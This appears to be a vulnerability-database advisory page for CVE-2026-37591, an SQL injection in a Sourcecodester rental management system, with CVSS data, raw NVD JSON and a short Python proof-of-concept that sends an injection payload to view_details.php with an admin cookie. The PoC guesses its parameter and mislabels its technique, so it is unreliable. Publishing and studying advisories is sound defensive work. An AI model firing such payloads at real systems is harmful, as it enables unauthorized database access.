Security Vulnerability Report
中文
CVE-2026-37591 CVSS 2.7 LOW

CVE-2026-37591

Published: 2026-04-14 15:16:33
Last Modified: 2026-04-17 15:32:21

Description

Sourcecodester Storage Unit Rental Management System v1.0 is vulnerable to SQL injection in the file /storage/admin/tenants/view_details.php.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Sourcecodester Storage Unit Rental Management System v1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Exploit Title: Sourcecodester Storage Unit Rental Management System v1.0 SQL Injection PoC # Date: 2026-04-14 # Vendor: Sourcecodester # Vulnerable File: /storage/admin/tenants/view_details.php import requests def check_sqli(url, cookie): """Check for SQL Injection vulnerability""" # Assuming the vulnerable parameter is 'id' # Payload attempts a time-based blind or error-based injection payload = "?id=1' AND 1=1-- -" full_url = f"{url}/storage/admin/tenants/view_details.php{payload}" headers = { "Cookie": cookie, "User-Agent": "Mozilla/5.0 (PoC-Scanner)" } try: response = requests.get(full_url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {full_url}") print(f"[+] Response Length: {len(response.text)}") print("[+] Check application response for database errors or data leakage.") else: print("[-] Exploit failed or endpoint not reachable.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target admin_cookie = "PHPSESSID=admin_session_id" # Requires Admin Privilege check_sqli(target, admin_cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-37591", "sourceIdentifier": "[email protected]", "published": "2026-04-14T15:16:32.920", "lastModified": "2026-04-17T15:32:21.107", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sourcecodester Storage Unit Rental Management System v1.0 is vulnerable to SQL injection in the file /storage/admin/tenants/view_details.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/shininadd/cve_report/blob/main/sourcecodester/storage-unit-rental-management-system/SQL-2.md", "source": "[email protected]"}]}}